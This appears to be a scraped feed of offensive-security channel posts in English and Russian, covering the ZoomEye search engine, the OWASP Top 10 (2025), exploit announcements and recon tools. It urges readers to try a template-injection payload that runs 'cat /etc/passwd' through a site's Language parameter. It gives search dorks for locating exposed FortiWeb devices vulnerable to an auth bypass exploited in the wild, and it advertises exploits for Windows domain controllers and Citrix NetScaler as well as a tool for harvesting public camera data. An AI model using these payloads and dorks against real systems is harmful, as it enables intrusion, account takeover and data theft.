https://www.zoomeye.ai

Key Features and Functionality:

- Extensive Scanning Capabilities: ZoomEye performs continuous, global scans of the entire IPv4 and IPv6 address spaces, detecting open ports, services, and devices.

- Comprehensive Fingerprint Library: The platform maintains a rich database of over 40,000 fingerprints, covering various devices, operating systems, databases, and web applications, enabling precise identification of internet assets.

- Advanced Search Syntax: Users can perform detailed searches using specific queries, such as filtering by application, version, country, city, port, operating system, service, hostname, IP address, and more, facilitating targeted asset discovery.

- Vulnerability Detection: ZoomEye integrates a vulnerability database, allowing users to identify security weaknesses in detected assets, such as outdated software or unpatched vulnerabilities.

and more.....

#SearchEngine

OWASP Top 10 (2025)

- A01:2025 Broken Access Control
- A02:2025 Security Misconfiguration
- A03:2025 Software Supply Chain Failures
- A04:2025 Cryptographic Failures
- A05:2025 Injection
- A06:2025 Insecure Design
- A07:2025 Authentication Failures
- A08:2025 Software or Data Integrity Failures
- A09:2025 Logging & Alerting Failures
- A10:2025 Mishandling of Exceptional Conditions

Видишь на сайте выбор Language, не поленись !
Language={${system("cat+/etc/passwd")}}

Fortinet 0day

An auth bypass + path traversal in Fortinet FortiWeb to create new administrative users on exposed devices without requiring authentication.

Blog: https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/

Dork:
ZoomEye Dork: app="FortiWeb"
HUNTER: product.name="FortiWeb"

CVE-2025-33073
*
POC я уже публиковал, а тут универсалочка подъехала.

Universal exploit

#win #DC #controller

CVE-2025-12101 + CVE-2025-21202
*
Citrix NetScaler ADC and Citrix NetScaler Gateway
*
exploit +xss tool

BloodCat

Инструмент для сбора информации о публично доступных сетевых камерах, с поддержкой фильтрации по стране и региону.

https://github.com/MartinxMax/BloodCat

Flutter SSL Bypass: How to Intercept HTTPS Traffic When all other Frida Scripts Fail
https://m4kr0x.medium.com/flutter-tls-bypass-how-to-intercept-https-traffic-when-all-other-frida-scripts-fail-bd3d04489088